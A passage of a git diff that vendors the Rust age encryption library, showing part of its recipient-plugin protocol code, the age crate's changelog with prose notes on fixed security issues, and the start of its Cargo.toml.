recipients. + /// - *Random label* - used by recipients that want to ensure their stanzas are not + /// used with any other recipient stanzas. This can be used to produce a file key + /// that is only encrypted to a single recipient stanza, for example to preserve + /// its authentication properties. + fn labels(&mut self) -> HashSet; + + /// Wraps each `file_key` to all recipients and identities previously added via + /// `add_recipient` and `add_identity`. + /// + /// Returns a set of stanzas per file key that wrap it to each recipient and identity. + /// Plugins may return more than one stanza per "actual recipient", e.g. to support + /// multiple formats, to build group aliases, or to act as a proxy. + /// + /// If one or more recipients or identities could not be wrapped to, no stanzas are + /// returned for any of the file keys. + /// + /// `callbacks` can be used to interact with the user, to have them take some physical + /// action or request a secret value. + fn wrap_file_keys( + &mut self, + file_keys: Vec, + callbacks: impl Callbacks, + ) -> io::Result>, Vec>>; +} + +impl RecipientPluginV1 for Infallible { + fn add_recipient(&mut self, _: usize, _: &str, _: &[u8]) -> Result<(), Error> { + // This is never executed. + Ok(()) + } + + fn add_identity(&mut self, _: usize, _: &str, _: &[u8]) -> Result<(), Error> { + // This is never executed. + Ok(()) + } + + fn labels(&mut self) -> HashSet { + // This is never executed. + HashSet::new() + } + + fn wrap_file_keys( + &mut self, + _: Vec, + _: impl Callbacks, + ) -> io::Result>, Vec>> { + // This is never executed. + Ok(Ok(vec![])) + } +} + +/// The interface that age plugins can use to interact with an age implementation. +struct BidirCallbacks<'a, 'b, R: io::Read, W: io::Write>(&'b mut BidirSend<'a, R, W>); + +impl<'a, 'b, R: io::Read, W: io::Write> Callbacks for BidirCallbacks<'a, 'b, R, W> { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + fn message(&mut self, message: &str) -> plugin::Result<()> { + self.0 + .send("msg", &[], message.as_bytes()) + .map(|res| res.map(|_| ())) + } + + fn confirm( + &mut self, + message: &str, + yes_string: &str, + no_string: Option<&str>, + ) -> age_core::plugin::Result { + let metadata: Vec<_> = Some(yes_string) + .into_iter() + .chain(no_string) + .map(|s| BASE64_STANDARD_NO_PAD.encode(s)) + .collect(); + let metadata: Vec<_> = metadata.iter().map(|s| s.as_str()).collect(); + + self.0 + .send("confirm", &metadata, message.as_bytes()) + .and_then(|res| match res { + Ok(s) => match &s.args[..] { + [x] if x == "yes" => Ok(Ok(true)), + [x] if x == "no" => Ok(Ok(false)), + _ => Err(io::Error::new( + io::ErrorKind::InvalidData, + "Invalid response to confirm command", + )), + }, + Err(e) => Ok(Err(e)), + }) + } + + fn request_public(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-public", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| { + io::Error::new(io::ErrorKind::InvalidData, "response is not UTF-8") + }) + .map(Ok), + Err(e) => Ok(Err(e)), + }) + } + + /// Requests a secret value from the user, such as a passphrase. + /// + /// `message` will be displayed to the user, providing context for the request. + fn request_secret(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-secret", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "secret is not UTF-8")) + .map(|s| Ok(SecretString::from(s))), + Err(e) => Ok(Err(e)), + }) + } + + fn error(&mut self, error: Error) -> plugin::Result<()> { + error.send(self.0).map(|()| Ok(())) + } +} + +/// The kinds of errors that can occur within the recipient plugin state machine. +pub enum Error { + /// An error caused by a specific recipient. + Recipient { + /// The index of the recipient. + index: usize, + /// The error message. + message: String, + }, + /// An error caused by a specific identity. + Identity { + /// The index of the identity. + index: usize, + /// The error message. + message: String, + }, + /// A general error that occured inside the state machine. + Internal { + /// The error message. + message: String, + }, +} + +impl Error { + fn kind(&self) -> &str { + match self { + Error::Recipient { .. } => "recipient", + Error::Identity { .. } => "identity", + Error::Internal { .. } => "internal", + } + } + + fn message(&self) -> &str { + match self { + Error::Recipient { message, .. } => message, + Error::Identity { message, .. } => message, + Error::Internal { message } => message, + } + } + + fn send(self, phase: &mut BidirSend) -> io::Result<()> { + let index = match self { + Error::Recipient { index, .. } | Error::Identity { index, .. } => { + Some(index.to_string()) + } + Error::Internal { .. } => None, + }; + + let metadata = match &index { + Some(index) => vec![self.kind(), index], + None => vec![self.kind()], + }; + + phase + .send("error", &metadata, self.message().as_bytes())? + .unwrap(); + + Ok(()) + } +} + +/// Runs the recipient plugin v1 protocol. +pub(crate) fn run_v1(mut plugin: P) -> io::Result<()> { + let mut conn = Connection::accept(); + + // Phase 1: collect recipients, and file keys to be wrapped + let ((recipients, identities), file_keys, labels_supported) = { + let (recipients, identities, file_keys, labels_supported) = conn.unidir_receive( + (ADD_RECIPIENT, |s| match (&s.args[..], &s.body[..]) { + ([recipient], []) => Ok(recipient.clone()), + _ => Err(Error::Internal { + message: format!( + "{} command must have exactly one metadata argument and no data", + ADD_RECIPIENT + ), + }), + }), + (ADD_IDENTITY, |s| match (&s.args[..], &s.body[..]) { + ([identity], []) => Ok(identity.clone()), + _ => Err(Error::Internal { + message: format!( + "{} command must have exactly one metadata argument and no data", + ADD_IDENTITY + ), + }), + }), + (Some(WRAP_FILE_KEY), |s| { + // TODO: Should we ignore file key commands with unexpected metadata args? + FileKey::try_init_with_mut(|file_key| { + if s.body.len() == file_key.len() { + file_key.copy_from_slice(&s.body); + Ok(()) + } else { + Err(Error::Internal { + message: "invalid file key length".to_owned(), + }) + } + }) + }), + (Some(EXTENSION_LABELS), |_| Ok(())), + )?; + ( + match (recipients, identities) { + (Ok(r), Ok(i)) if r.is_empty() && i.is_empty() => ( + Err(vec![Error::Internal { + message: format!( + "Need at least one {} or {} command", + ADD_RECIPIENT, ADD_IDENTITY + ), + }]), + Err(vec![]), + ), + r => r, + }, + match file_keys.unwrap() { + Ok(f) if f.is_empty() => Err(vec![Error::Internal { + message: format!("Need at least one {} command", WRAP_FILE_KEY), + }]), + r => r, + }, + match &labels_supported.unwrap() { + Ok(v) if v.is_empty() => Ok(false), + Ok(v) if v.len() == 1 => Ok(true), + _ => Err(vec![Error::Internal { + message: format!("Received more than one {} command", EXTENSION_LABELS), + }]), + }, + ) + }; + + // Now that we have the full list of recipients and identities, parse them as Bech32 + // and add them to the plugin. + fn parse_and_add( + items: Result, Vec>, + plugin_name: impl Fn(&str) -> Option<&str>, + error: impl Fn(usize) -> Error, + mut adder: impl FnMut(usize, &str, Vec) -> Result<(), Error>, + ) -> Result> { + items.and_then(|items| { + let count = items.len(); + let errors: Vec<_> = items + .into_iter() + .enumerate() + .map(|(index, item)| { + let decoded = bech32::decode(&item).ok(); + decoded + .as_ref() + .and_then(|(hrp, data, variant)| match (plugin_name(hrp), variant) { + (Some(plugin_name), &bech32::Variant::Bech32) => { + Vec::from_base32(data).ok().map(|data| (plugin_name, data)) + } + _ => None, + }) + .ok_or_else(|| error(index)) + .and_then(|(plugin_name, bytes)| adder(index, plugin_name, bytes)) + }) + .filter_map(|res| res.err()) + .collect(); + + if errors.is_empty() { + Ok(count) + } else { + Err(errors) + } + }) + } + let recipients = parse_and_add( + recipients, + |hrp| hrp.strip_prefix(PLUGIN_RECIPIENT_PREFIX), + |index| Error::Recipient { + index, + message: "Invalid recipient encoding".to_owned(), + }, + |index, plugin_name, bytes| plugin.add_recipient(index, plugin_name, &bytes), + ); + let identities = parse_and_add( + identities, + |hrp| { + if hrp.starts_with(PLUGIN_IDENTITY_PREFIX) && hrp.ends_with('-') { + Some(&hrp[PLUGIN_IDENTITY_PREFIX.len()..hrp.len() - 1]) + } else { + None + } + }, + |index| Error::Identity { + index, + message: "Invalid identity encoding".to_owned(), + }, + |index, plugin_name, bytes| plugin.add_identity(index, plugin_name, &bytes), + ); + + let required_labels = plugin.labels(); + + let labels = match (labels_supported, required_labels.is_empty()) { + (Ok(true), _) | (Ok(false), true) => { + if required_labels.contains("") { + Err(vec![Error::Internal { + message: "Plugin tried to use the empty string as a label".into(), + }]) + } else if required_labels.iter().all(is_arbitrary_string) { + Ok(required_labels) + } else { + Err(vec![Error::Internal { + message: "Plugin tried to use a label containing an invalid character".into(), + }]) + } + } + (Ok(false), false) => Err(vec![Error::Internal { + message: "Plugin requires labels but client does not support them".into(), + }]), + (Err(errors), true) => Err(errors), + (Err(mut errors), false) => { + errors.push(Error::Internal { + message: "Plugin requires labels but client does not support them".into(), + }); + Err(errors) + } + }; + + // Phase 2: wrap the file keys or return errors + conn.bidir_send(|mut phase| { + let (expected_stanzas, file_keys, labels) = + match (recipients, identities, file_keys, labels) { + (Ok(recipients), Ok(identities), Ok(file_keys), Ok(labels)) => { + (recipients + identities, file_keys, labels) + } + (recipients, identities, file_keys, labels) => { + for error in recipients + .err() + .into_iter() + .chain(identities.err()) + .chain(file_keys.err()) + .chain(labels.err()) + .flatten() + { + error.send(&mut phase)?; + } + return Ok(()); + } + }; + + let labels = labels.iter().map(|s| s.as_str()).collect::>(); + // We confirmed above that if `labels` is non-empty, the client supports labels. + // So we can unconditionally send this, and will only get an `unsupported` + // response if `labels` is empty (where it does not matter). + let _ = phase.send(LABELS, &labels, &[])?; + + match plugin.wrap_file_keys(file_keys, BidirCallbacks(&mut phase))? { + Ok(files) => { + for (file_index, stanzas) in files.into_iter().enumerate() { + // The plugin MUST generate an error if one or more recipients or + // identities cannot be wrapped to. And it's a programming error + // to return more stanzas than recipients and identities. + assert_eq!(stanzas.len(), expected_stanzas); + + for stanza in stanzas { + phase + .send_stanza(RECIPIENT_STANZA, &[&file_index.to_string()], &stanza)? + .unwrap(); + } + } + } + Err(errors) => { + for error in errors { + error.send(&mut phase)?; + } + } + } + + Ok(()) + }) +} diff --git a/lib/rage/age/CHANGELOG.md b/lib/rage/age/CHANGELOG.md new file mode 100644 index 0000000..eb79b40 --- /dev/null +++ b/lib/rage/age/CHANGELOG.md @@ -0,0 +1,529 @@ +# Changelog +All notable changes to the age crate will be documented in this file. Changes +to the [age-core crate](../age-core/CHANGELOG.md) also apply to the age crate, +and are not duplicated here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.6.1, 0.7.2, 0.8.2, 0.9.3, 0.10.1, 0.11.1] - 2024-11-18 +### Security +- Fixed a security vulnerability that could allow an attacker to execute an + arbitrary binary under certain conditions. See GHSA-4fg7-vxc8-qx5w. Plugin + names are now required to only contain alphanumeric characters or the four + special characters `+-._`. Thanks to ⬡-49016 for reporting this issue. + +## [0.11.0] - 2024-11-03 +### Added +- New streamlined APIs for use with a single recipient or identity and a small + amount of data (that can fit entirely in memory): + - `age::encrypt` + - `age::encrypt_and_armor` + - `age::decrypt` +- `age::Decryptor::{decrypt, decrypt_async, is_scrypt}` +- `age::IdentityFile::to_recipients` +- `age::IdentityFile::with_callbacks` +- `age::IdentityFile::write_recipients_file` +- `age::IdentityFileConvertError` +- `age::NoCallbacks` +- `age::scrypt`, providing recipient and identity types for passphrase-based + encryption. +- Partial French translation! + +### Changed +- Migrated to `i18n-embed 0.15`, `secrecy 0.10`. +- `age::Encryptor::with_recipients` now takes recipients by reference instead of + by value. This aligns it with `age::Decryptor` (which takes identities by + reference), and also means that errors with recipients are reported earlier. + This causes the following changes to the API: + - `Encryptor::with_recipients` takes `impl Iterator` + instead of `Vec>`. + - Verification of recipients and generation of stanzas now happens in + `Encryptor::with_recipients` instead of `Encryptor::wrap_output` and + `Encryptor::wrap_async_output`. + - `Encryptor::with_recipients` returns `Result` instead of + `Option`, and `Encryptor::{wrap_output, wrap_async_output}` return + `io::Result>` instead of `Result, EncryptError>`. + - `age::EncryptError` has a new variant `MissingRecipients`, taking the place + of the `None` that `Encryptor::with_recipients` could previously return. +- `age::Decryptor` is now an opaque struct instead of an enum with `Recipients` + and `Passphrase` variants. +- `age::IdentityFile` now has a `C: Callbacks` generic parameter, which defaults + to `NoCallbacks`. +- `age::IdentityFile::into_identities` now returns + `Result>, DecryptError>` instead of + `Vec`. +- `age::Recipient::wrap_file_key` now returns `(Vec, HashSet)`: + a tuple of the stanzas to be placed in an age file header, and labels that + constrain how the stanzas may be combined with those from other recipients. +- `age::plugin::RecipientPluginV1` now supports the labels extension. + +### Fixed +- `age::cli_common::read_identities` once again correctly parses identity files + that are a single line without a trailing newline. This broke in 0.10.0 due to + an unrelated refactor. + +### Removed +- `age::decryptor::PassphraseDecryptor` (use `age::Decryptor` with + `age::scrypt::Identity` instead). +- `age::decryptor::RecipientsDecryptor` (use `age::Decryptor` instead). +- `age::IdentityFileEntry` + +## [0.10.0] - 2024-02-04 +### Added +- Russian translation! +- `age::cli_common`: + - `file_io`: + - `FileReader` + - `impl Debug for {LazyFile, OutputFormat, OutputWriter, StdoutWriter}` + - `StdinGuard` + - `read_recipients` +- `age::identity::IdentityFile::from_input_reader` (behind `cli-common` feature + flag). +- `impl Eq for age::ssh::{ParseRecipientKeyError, UnsupportedKey}` +- `impl {Debug, PartialEq, Eq, Hash} for age::x25519::Recipient` + +### Changed +- MSRV is now 1.65.0. +- Migrated to `base64 0.21`, `rsa 0.9`. +- `age::cli_common`: + - `file_io`: + - `InputReader::File` enum variant now contains `FileReader` instead of + `std::fs::File`. + - `OutputWriter::new` now takes an `allow_overwrite` boolean argument. If + `OutputWriter` will write to a file, this boolean enables the caller to + control whether the file will be overwritten if it exists (instead of the + implicit behaviour that was previously changed in 0.6.0). + - `read_identities` now takes an `&mut StdinGuard` argument, and `filenames` + may now contain at most one entry of `"-"`, which will be interpreted as + reading from standard input. + - `ReadError` has new variants: + - `EncryptedIdentities` + - `InvalidRecipient` + - `InvalidRecipientsFile` + - `MissingRecipientsFile` + - `MultipleStdin` + - `RsaModulusTooLarge` + - `RsaModulusTooSmall` +- `age::ssh`: + - `ParseRecipientKeyError` has new variants: + - `RsaModulusTooLarge` + - `RsaModulusTooSmall` + - The following trait implementations now return + `Err(ParseRecipientKeyError::RsaModulusTooLarge)` instead of + `Err(ParseRecipientKeyError::Unsupported(_))` when encountering an RSA + public key with a modulus larger than 4096 bits: + - `impl FromStr for Recipient` + - `impl TryFrom for Recipient` + +### Fixed +- `age::Encryptor::with_user_passphrase` will now re-measure the `scrypt` work + factor until it is measurable, instead of setting the work factor to maximum. +- `age::cli_common`: + - `UiCallbacks::confirm` no longer requires erasing the confirmation message + before it will accept a response. + - `UiCallbacks::request_public_string` no longer prepends the description to + the response string. +- Weak `ssh-rsa` public keys that are smaller than 2048 bits are now rejected + from all string-parsing APIs. The `Recipient::SshRsa` enum variant can still + be manually constructed with such keys; this will be fixed in a future crate + refactor. + +## [0.9.2] - 2023-06-12 +### Added +- `age::Decryptor::{new_buffered, new_async_buffered}`, which are more efficient + for types implementing `std::io::BufRead` or `futures::io::AsyncBufRead` + (which includes `&[u8]` slices). +- `impl std::io::BufRead for age::armor::ArmoredReader` +- `impl futures::io::AsyncBufRead for age::armor::ArmoredReader` + +### Changed +- The `pinentry` binary used by `age::cli_common::read_secret` can now be set + manually with the `PINENTRY_PROGRAM` environment variable. It accepts either a + binary name or a path. Setting this to the empty string will disable `pinentry` + usage and fall back to the CLI interface. + +### Fixed +- The `AsyncWrite::poll_write` implementation for `age::stream::StreamWriter` + now never returns 0 if there is data to write. This makes `StreamWriter` + compatible with `futures::io::copy`. + +## [0.9.1] - 2023-03-24 +### Added +- Support for encrypted OpenSSH keys exported from 1Password. + +## [0.9.0] - 2022-10-27 +### Security +- `age::ssh::Recipient::SshRsa` now has a maximum modulus size of 4096 bits, to + prevent a Denial of Service (DoS) condition when encrypting to untrusted + public keys. + +### Added +- `age::armor::ArmoredReadError`, used to wrap armor-specific read errors inside + `std::io::Error`. +- `age::ssh`: + - `impl Clone for Identity` + +### Changed +- MSRV is now 1.59.0. +- Migrated to `rsa 0.7`. +- `age::Encryptor::with_recipients` now returns `Option`, with `None` + returned if the provided list of recipients is empty (to prevent files being + encrypted to no recipients). The `recipients` argument is also now + `Vec>`. +- `age::encrypted::Identity::recipients` now returns + `Vec>`. + +### Fixed +- `age::Decryptor` now rejects invalid or non-canonical `scrypt` recipient + stanzas (instead of ignoring or accepting them respectively), matching the + [age specification](https://c2sp.org/age#scrypt-recipient-stanza). +- `age::armor::ArmoredReader`: + - It now correctly implements strict parsing as defined in + [RFC 7468](https://www.rfc-editor.org/rfc/rfc7468.html#section-3), and + rejects armored files with non-canonical final lines (where padding bytes + are omitted). + - It now rejects armored files with non-whitespace characters after the end + marker. + - It now accepts armored files with no newline after the end marker. + Previously these were rejected by the synchronous API, and would cause the + async API to hang. + - The async API now correctly rejects some classes of invalid armoring that + previously would cause it to hang. + +## [0.8.1] - 2022-06-18 +### Security +- `age::Decryptor` did not previously require "contributory" behaviour for + `X25519` recipient stanzas. If an age file has an `X25519` recipient stanza + with an ephemeral share that is a small-order point, the file could previously + be decrypted by any native age identity. To ensure we match the behaviour in + the [age specification](https://c2sp.org/age#x25519-recipient-stanza), these + files are now rejected as invalid. + +### Fixed +- `age::Decryptor` now rejects invalid or non-canonical `X25519` recipient + stanzas (instead of ignoring or accepting them respectively), matching the + [age specification](https://c2sp.org/age#x25519-recipient-stanza). + +## [0.8.0] - 2022-05-02 +### Added +- `age::Callbacks::confirm` to request that the user provides confirmation for + some action. +- `age::cli_common::file_io::InputReader::is_terminal` +- `age::ssh::ParseRecipientKeyError`, which was previously in the public API but + unnameable and could not be matched upon. + +### Changed +- MSRV is now 1.56.0. +- `age::Callbacks` now requires `Clone + Send + Sync + 'static` bounds. +- `age::cli_common::file_io::OutputWriter::new` now takes an `input_is_tty` + boolean argument. If `input_is_tty` is set to `true`, then if `OutputWriter` + will write to a stdout TTY, it buffers the entire output so it doesn't get in + the way of typing the input, and then writes the buffered output to stdout + during `OutputWriter::flush`. +- Ciphertexts are now required to end in a non-empty STREAM chunk, unless it is + the only chunk (meaning that the plaintext is empty). Neither age nor rage + generate non-empty files ending in an empty chunk, instead marking the final + full chunk as the last chunk. + +## [0.7.1] - 2021-12-27 +### Fixed +- Bumped `age-core` to 0.7.1 to fix a bug where non-canonical recipient stanza + bodies in an age file header would cause a panic instead of being rejected. + +## [0.7.0] - 2021-10-18 +### Added +- `age::encrypted::Identity`, for decrypting files with passphrase-encrypted + age identity files. +- `age::IdentityFileEntry` enum, representing the possible kinds of entries + within an age identity file. +- `age::{DecryptError, EncryptError, PluginError}: Clone` bounds. +- `age::cli_common::UiCallbacks: Clone + Copy` bounds. +- `age::cli_common::Passphrase::random`, for generating a secure passphrase. +- `age::cli_common::ReadError` +- `age::secrecy`, which re-exports the `secrecy` crate. + +### Changed +- MSRV is now 1.51.0. +- `age::IdentityFile::into_identities` now returns `Vec`. +- `age::cli_common::read_identities`: + - Encrypted age files will now be parsed and assumed to be encrypted age + identities. This assumption is checked at file-decryption time. + - New `max_work_factor` parameter for controlling the work factor when + decrypting encrypted identities. + - Identities are now returned in the same order as `filenames` (and + top-to-bottom from within each file). Plugin identities are no longer + coalesced; there is one `Box` per plugin identity. + - `age::cli_common::ReadError` is now returned instead of a user-specified + error type. The error constructor parameters have been removed from the + function. +- `age::Callbacks::prompt` has been renamed to `Callbacks::display_message`. + - `age::cli_common::UiCallbacks::display_message` no longer uses `pinentry` + (which displays a temporary prompt that can be dismissed), so the message is + now part of the visible CLI output. + +### Removed +- `IdentityFile::split_into` (replaced by `IdentityFileEntry::Plugin`). + +## [0.6.0] - 2021-05-02 +### Security +- `StreamReader::seek(SeekFrom::End(offset))` did not previously authenticate + the ciphertext length; if the ciphertext had been truncated or extended by + `adversary_offset`, it would instead seek to `offset + adversary_offset`. This + allowed an adversary with temporary control of an encrypted age file to + control the location of a plaintext read following a seek-from-end. `age` now + returns an error if the last chunk is invalid. + - `rage` was not affected by this security issue, as it does not use `Seek`. + - `rage-mount` may have been affected; it does not use `SeekFrom::End` + directly, but the `tar` or `zip` crates might do so. + +### Added +- Plugin support, enabled by the `plugin` feature flag: + - `age::plugin::{Identity, Recipient}` structs for parsing plugin recipients + and identities from strings. + - `age::plugin::RecipientPluginV1`, which implements `age::Recipient` and runs + the V1 recipient plugin protocol. + - `age::plugin::IdentityPluginV1`, which implements `age::Identity` and runs + the V1 identity plugin protocol. +- The `web-sys` feature flag, which enables calculating the work factor for + passphrase encryption with the + [Performance timer](https://developer.mozilla.org/en-US/docs/Web/API/Performance) + via the `web-sys` crate, when compiling for a WebAssembly target such as + `wasm32-unknown-unknown`. This feature is ignored for the `wasm32-wasi` + target, which supports + [`std::time::SystemTime`](https://doc.rust-lang.org/stable/std/time/struct.SystemTime.html#underlying-system-calls). +- `age::Callbacks::request_public_string` to request non-private input from the + user (which will not trigger any OS-level passphrase-style prompt, unlike + `Callbacks::request_passphrase`). + +### Changed +- MSRV is now 1.47.0. +- `age::cli_common::file_io::OutputWriter::File` will now *overwrite* the file + if it exists, instead of returning an error. This makes it consistent with + `age::cli_common::file_io::OutputWriter::Stdout`, as well as most UNIX tools. +- Files encrypted with this version of `age` might not decrypt with previous + beta versions, due to changes in how stanza bodies are canonically encoded. + This should only affect a small fraction of files (if grease that triggers the + change is added, which has a 3% chance per file). +- `age::decryptor::RecipientsDecryptor` now takes + `impl Iterator` in its decryption methods, to make + decrypting multiple files with the same identities easier. +- `age::cli_common::file_io::OutputWriter::File` now wraps a `LazyFile` struct + (instead of wrapping `std::io::File` directly), which does not open the file + until it is first written to. +- `age::decryptor::Callbacks` has been moved to `age::Callbacks`, as it is no + longer decryption-specific. + +### Fixed +- `age::cli_common::read_identities` now allows either kind of line ending in + SSH identity files. +- Default `en-US` language strings are now always loaded, even if translations + are not loaded by calling `age::localizer().select(&requested_languages)`. +- `StreamReader::seek(SeekFrom::End(0))` now seeks to the correct position when + the plaintext is an exact multiple of the chunk size. + +## [0.5.1] - 2021-02-13 +### Fixed +- Bumped dependencies to `i18n-embed-fl 0.3` and `i18n-embed 0.10.2` to fix a + transient dependency breakage, that broke `cargo install rage` because + [`cargo install` ignores `Cargo.lock`](https://github.com/rust-lang/cargo/issues/7169). + +## [0.5.0] - 2020-11-22 +### Added +- Italian, Spanish, and Chinese translations! +- New core traits, implemented by all relevant `age` types: + - `age::Identity`, representing an identity that can decrypt an age file. + - `age::Recipient`, representing a potential recipient of an age file. +- Separate modules and structs for different recipient types: + - `age::x25519` + - `age::ssh` (behind the `ssh` feature flag). +- `age::EncryptError`, representing errors that can occur during encryption. +- `age::IdentityFile` struct, for parsing a list of native age identities + (currently only `age::x25519::Identity`) from a file. +- Asynchronous APIs for encryption and decryption, enabled by the `async` + feature flag: + - `age::Encryptor::wrap_async_output()` + - `age::Decryptor::new_async()` + - `age::decryptor::RecipientsDecryptor::decrypt_async()` + - `age::decryptor::PassphraseDecryptor::decrypt_async()` +- Explicit armoring support, enabled by the `armor` feature flag: + - `age::armor::ArmoredReader`, which can be wrapped around an input to handle + a potentially-armored age file. + - `age::armor::ArmoredWriter`, which can be wrapped around an output to + optionally apply the armored age format. + +### Changed +- MSRV is now 1.45.0. +- Changes due to the new core traits: + - `age::Encryptor::with_recipients` now takes `Vec>`. + - `age::decryptor::RecipientsDecryptor` now takes + `impl Iterator>` in its decryption methods. + - `age::cli_common::read_identities` now returns `Vec>`, as + it abstracts over `age::IdentityFile` and `age::ssh::Identity`. When the + `ssh` feature flag is enabled, it also takes an `unsupported_ssh` argument + for handling unsupported SSH identities. + - `age::Error` has been renamed to `age::DecryptError`. +- Changes due to explicit armoring support: + - `age::Encryptor::wrap_output` now only generates the non-malleable binary + age format. To optionally generate armored age files, use + `encryptor.wrap_output(ArmoredWriter::wrap_output(output, format))`. + - `age::Decryptor` now only decrypts the non-malleable binary age format. To + handle age files that are potentially armored, use + `Decryptor::new(ArmoredReader::new(input))`. + - `age::Format` has been moved to `age::armor::Format`. +- SSH support is now disabled by default, behind the `ssh` feature flag. + `ssh-rsa` keys are now supported without the `unstable` feature flag. +- `age::Callbacks` has been moved to `age::decryptor::Callbacks`. + +### Removed +- `age::SecretKey` (replaced by `age::x25519::Identity` and + `age::ssh::Identity`). +- `age::keys::RecipientKey` (replaced by `age::x25519::Recipient` and + `age::ssh::Recipient`). +- `age::keys::{Identity, IdentityKey}` (replaced by `age::Identity` trait on + individual identities, and `age::IdentityFile` for parsing identities). +- `age::decryptor::RecipientsDecryptor::decrypt_with_callbacks()` (identities + are now expected to handle their own callbacks, and + `age::cli_common::read_identities` now adds callbacks to SSH identities). +- Default identity path: + - `age::cli_common::get_config_dir`. + - The `no_default` parameter for `age::cli_common::read_identities`. + +## [0.4.0] - 2020-03-25 +### Added +- `age::Decryptor::new(R: Read)`, which parses an age file header and returns + a context-specific decryptor. +- `age::decryptor` module containing the context-specific decryptors. + - Their decryption methods return the concrete type `StreamReader`, + enabling them to handle seekable readers. +- `age::Encryptor::with_recipients(Vec)` +- `age::Encryptor::with_user_passphrase(SecretString)` +- Support for encrypted OpenSSH keys created with `ssh-keygen` prior to OpenSSH + 7.6. +- `age::cli_common::file_io::OutputWriter::is_terminal` + +### Changed +- `age::Decryptor` has been refactored to auto-detect the decryption type. As a + result, both identity-based and passphrase-based decryption need to be + handled. +- `age::StreamReader` has been moved into the `age::stream` module, along with + `StreamWriter` which was previously public but has now been formally exposed + in the API for documentation purposes. +- `age::Encryptor` is now an opaque struct, and must be created via its new + constructors. +- `age::Encryptor::wrap_output` now consumes `self`, making it harder to + accidentally reuse a passphrase for multiple encrypted files. +- `age::cli_common::read_identities` now takes an additional `file_not_found` + parameter for customising the error when an identity filename is not found. + +### Removed +- `age::Decryptor::trial_decrypt` (replaced by context-specific decryptors). +- `age::Decryptor::trial_decrypt_seekable` (merged into the context-specific + decryptors). +- `age::Error::ArmoredWhenSeeking` +- `age::Error::MessageRequiresKeys` +- `age::Error::MessageRequiresPassphrase` + +### Fixed +- Key files with Windows line endings are now correctly parsed. + +## [0.3.1] - 2020-02-11 +### Fixed +- Bumped dependencies to `cookie-factory ^0.3.1` to fix nightly builds. + +## [0.3.0] - 2020-02-09 +### Added +- `age::Callbacks`, which encapsulates any requests that might be necessary + during the decryption process. +- `age::cli_common::UiCallbacks`, which implements `Callbacks` with requests to + the user via `age::cli_common::read_secret`. +- `age::Decryptor::with_identities(Vec)` +- `age::Decryptor::with_identities_and_callbacks(Vec, Box)` +- `age::Encryptor` will insert a random recipient stanza into the header, to + keep age's joint well oiled. + +### Changed +- The CLI tools have been moved into the `rage` crate. +- The `age::Decryptor::Keys` enum case has been renamed to `Identities` and + altered to store a `Box` internally. +- `age::Decryptor::trial_decrypt` and `age::Decryptor::trial_decrypt_seekable` + both no longer take a `request_passphrase` argument. +- `age::cli_common::read_secret`: + - Takes an additional `prompt` parameter. + - Uses the system `pinentry` binary for requesting secrets if available. + - Returns `pinentry::Error` instead of `io::Error`. +- `age::cli_common::read_or_generate_passphrase` now returns `pinentry::Error` + instead of `io::Error`. +- Core age parsers and serializers have been moved into the `age-core` crate. + +### Fixed +- Fixed several crashes in the armored format reader, found by fuzzing. The + reader also now correctly enforces a canonical armor marker and line lengths. +- Recipient stanzas with empty bodies are correctly parsed. + +## [0.2.0] - 2020-01-10 +### Added +- The library crate can be compiled to WASM. +- When encrypting to a passphrase, rage will generate a secure passphrase if the + user does not provide one. +- `SecretKey::to_string -> secrecy::SecretString`, which zeroizes most internal + state. (Zeroizing all internal state requires changes to the `bech32` crate.) +- `RecipientKey` implements `Display`, and can be converted to a string using + `recipient.to_string()`. +- `Decryptor::with_passphrase` constructor. +- `--max-work-factor WF` argument for rage and rage-mount, to enable overriding + the default maximum (which is around 16 seconds of work). + +### Changed +- `age::Encryptor::wrap_output` now takes an `age::Format` enum argument instead + of a boolean flag. +- Recipients are now parsed as filenames last instead of first. If a filename + happens to also be a valid recipient format, the file will be ignored. This + can be overridden by using an absolute file path. +- The filename `-` (hyphen) is now treated as an explicit request to read from + standard input or write to standard output when used as an input or output + filename. +- `-o -` will override protections for terminals when standard output is not + being piped elsewhere: output will not be truncated, and binary data will be + printed directly to the terminal. +- Armored encrypted output can now be printed to the terminal. Large files will + be truncated (to protect the terminal), corrupting the encryption. This can be + overriden with `-o -`. +- The `Decryptor::Passphrase` enum case has been altered to store an optional + maximum work factor. + +### Removed +- `SecretKey::to_str` (replaced by `SecretKey::to_string`). +- `RecipientKey::to_str` (replaced by `Display` implementation and + `recipient.to_string()`). + +### Fixed +- Corrected encoding of example recipients in manpages. +- Re-enabled the default identities file (#41). +- Fixed parser to reject encrypted OpenSSH keys if they contain invalid + `bcrypt_pbkdf` parameters. +- [Unix] `rage-keygen -o filename` now creates files with mode `600` (i.e. the + output file is no longer world-readable). +- Unknown recipient lines are now parsed and ignored during decryption, instead + of causing a hard failure. + +## [0.1.1] - 2019-12-29 +### Added +- Debian packaging support via `cargo deb`. See [docs/debian.md](../docs/debian.md) + for details. + +### Changed +- Moved the `num_traits` dependency behind the `unstable` feature flag. +- The `generate-docs` example now generates (the equivalent of ) `gzip -9` + manpages, for ease of use in Debian packaging. + +### Fixed +- Decrypted chunks inside the STREAM implementation are now zeroized after use. + +## [0.1.0] - 2019-12-27 + +Initial beta release! diff --git a/lib/rage/age/Cargo.toml b/lib/rage/age/Cargo.toml new file mode 100644 index 0000000..d7854f0 --- /dev/null +++ b/lib/rage/age/Cargo.toml @@ -0,0 +1,130 @@ +[package] +name = "age" +description = "[BETA] A simple, secure, and modern encryption library." +version = "0.11.1" +authors.workspace = true +repository.workspace = true +readme = "README.md" +keywords = ["rage", "encryption"] +categories = ["cryptography"] +license.workspace = true +edition.workspace = true +rust-version.workspace = true + +[badges] +maintenance = { status = "experimental" } + +[dependencies] +age-core.workspace = true + +# Dependencies exposed in a public API: +# (Breaking upgrades to these require a breaking upgrade to this crate.) +base64.workspace = true +chacha20poly1305.workspace = true +hmac.workspace = true + 